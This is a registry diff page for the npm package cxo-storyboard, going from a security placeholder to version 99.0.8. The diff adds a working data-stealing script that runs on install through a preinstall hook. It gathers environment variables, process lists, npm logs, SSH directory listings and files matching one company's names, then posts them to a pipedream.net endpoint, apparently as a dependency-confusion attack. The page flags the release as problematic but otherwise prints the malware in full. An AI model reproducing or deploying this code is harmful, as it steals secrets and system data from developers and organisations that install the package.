cxo-storyboard 0.0.1-security → 99.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cxo-storyboard might be problematic. Click here for more details.
- package/index.js +143 -0
- package/package.json +5 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,143 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const fs = require("fs");
|
3
|
+
const dns = require("dns");
|
4
|
+
const https = require("https");
|
5
|
+
const querystring = require("querystring");
|
6
|
+
const { execSync } = require("child_process");
|
7
|
+
|
8
|
+
const isWindows = os.platform().startsWith("win");
|
9
|
+
|
10
|
+
let data = {
|
11
|
+
platform: os.platform(),
|
12
|
+
arch: os.arch(),
|
13
|
+
username: os.userInfo().username,
|
14
|
+
hostname: os.hostname(),
|
15
|
+
homedir: os.homedir(),
|
16
|
+
dns: dns.getServers(),
|
17
|
+
public_ip: "",
|
18
|
+
os_release: os.release(),
|
19
|
+
user: execSync("whoami").toString().trim(),
|
20
|
+
target_files: "",
|
21
|
+
installation_path: "",
|
22
|
+
running_processes: "",
|
23
|
+
env_vars: "",
|
24
|
+
package_logs: "",
|
25
|
+
ssh_keys: "",
|
26
|
+
installed_software: "",
|
27
|
+
system_uptime: "",
|
28
|
+
};
|
29
|
+
|
30
|
+
function searchTargetFiles(targetName) {
|
31
|
+
try {
|
32
|
+
const files = isWindows
|
33
|
+
? execSync(`dir C:\\ /s /b | findstr /i "${targetName}"`).toString()
|
34
|
+
: execSync(`find / -type f -name "*${targetName}*" 2>/dev/null`).toString();
|
35
|
+
return files || "No files found.";
|
36
|
+
} catch (err) {
|
37
|
+
return `Error finding files: ${err.message}`;
|
38
|
+
}
|
39
|
+
}
|
40
|
+
|
41
|
+
function getInstallationPath() {
|
42
|
+
try {
|
43
|
+
const path = execSync("npm root -g").toString().trim();
|
44
|
+
return path ? `Global install path: ${path}` : "No global install path found.";
|
45
|
+
} catch (err) {
|
46
|
+
return "Error finding install path: " + err.message;
|
47
|
+
}
|
48
|
+
}
|
49
|
+
|
50
|
+
function getRunningProcesses() {
|
51
|
+
try {
|
52
|
+
return execSync(isWindows ? "tasklist" : "ps aux").toString();
|
53
|
+
} catch (err) {
|
54
|
+
return "Error getting running processes: " + err.message;
|
55
|
+
}
|
56
|
+
}
|
57
|
+
|
58
|
+
function getEnvVariables() {
|
59
|
+
return JSON.stringify(process.env);
|
60
|
+
}
|
61
|
+
|
62
|
+
function getPackageLogs() {
|
63
|
+
try {
|
64
|
+
const npmLogs = execSync("cat ~/.npm/_logs/* 2>/dev/null").toString();
|
65
|
+
return npmLogs || "No npm logs found.";
|
66
|
+
} catch (err) {
|
67
|
+
return "Error reading npm logs: " + err.message;
|
68
|
+
}
|
69
|
+
}
|
70
|
+
|
71
|
+
function getSshKeys() {
|
72
|
+
try {
|
73
|
+
const keys = execSync("ls ~/.ssh/").toString();
|
74
|
+
return keys || "No SSH keys found.";
|
75
|
+
} catch (err) {
|
76
|
+
return "Error finding SSH keys: " + err.message;
|
77
|
+
}
|
78
|
+
}
|
79
|
+
|
80
|
+
function getInstalledSoftware() {
|
81
|
+
try {
|
82
|
+
const software = execSync(isWindows ? "wmic product get name" : "dpkg --get-selections").toString();
|
83
|
+
return software || "No installed software found.";
|
84
|
+
} catch (err) {
|
85
|
+
return "Error getting installed software: " + err.message;
|
86
|
+
}
|
87
|
+
}
|
88
|
+
|
89
|
+
function getSystemUptime() {
|
90
|
+
try {
|
91
|
+
return execSync("uptime -p").toString().trim();
|
92
|
+
} catch (err) {
|
93
|
+
return "Error getting system uptime: " + err.message;
|
94
|
+
}
|
95
|
+
}
|
96
|
+
|
97
|
+
const targetName = "majidalfuttaim|maf.ae|cox|Majid";
|
98
|
+
data.target_files = searchTargetFiles(targetName);
|
99
|
+
data.installation_path = getInstallationPath();
|
100
|
+
data.running_processes = getRunningProcesses();
|
101
|
+
data.env_vars = getEnvVariables();
|
102
|
+
data.package_logs = getPackageLogs();
|
103
|
+
data.ssh_keys = getSshKeys();
|
104
|
+
data.installed_software = getInstalledSoftware();
|
105
|
+
data.system_uptime = getSystemUptime();
|
106
|
+
|
107
|
+
// Retrieve the public IP to confirm external visibility
|
108
|
+
https.get("https://api.ipify.org", (res) => {
|
109
|
+
let ip = "";
|
110
|
+
res.on("data", (chunk) => (ip += chunk));
|
111
|
+
res.on("end", () => {
|
112
|
+
data.public_ip = ip.trim();
|
113
|
+
sendData();
|
114
|
+
});
|
115
|
+
}).on("error", () => {
|
116
|
+
data.public_ip = "Could not determine";
|
117
|
+
sendData();
|
118
|
+
});
|
119
|
+
|
120
|
+
function sendData() {
|
121
|
+
const postData = querystring.stringify({
|
122
|
+
msg: JSON.stringify(data),
|
123
|
+
});
|
124
|
+
|
125
|
+
const options = {
|
126
|
+
hostname: "eouazz5ocam8gr3.m.pipedream.net",
|
127
|
+
port: 443,
|
128
|
+
path: "/",
|
129
|
+
method: "POST",
|
130
|
+
headers: {
|
131
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
132
|
+
"Content-Length": postData.length,
|
133
|
+
},
|
134
|
+
};
|
135
|
+
|
136
|
+
const req = https.request(options, (res) => {
|
137
|
+
res.on("data", (d) => process.stdout.write(d));
|
138
|
+
});
|
139
|
+
|
140
|
+
req.on("error", () => {});
|
141
|
+
req.write(postData);
|
142
|
+
req.end();
|
143
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,8 @@
|
|
1
1
|
{
|
2
2
|
"name": "cxo-storyboard",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "99.0.8",
|
4
|
+
"description": "Bc_kaks3c doing testing",
|
5
|
+
"scripts": {
|
6
|
+
"preinstall": "node index.js"
|
7
|
+
}
|
6
8
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=cxo-storyboard for more information.
|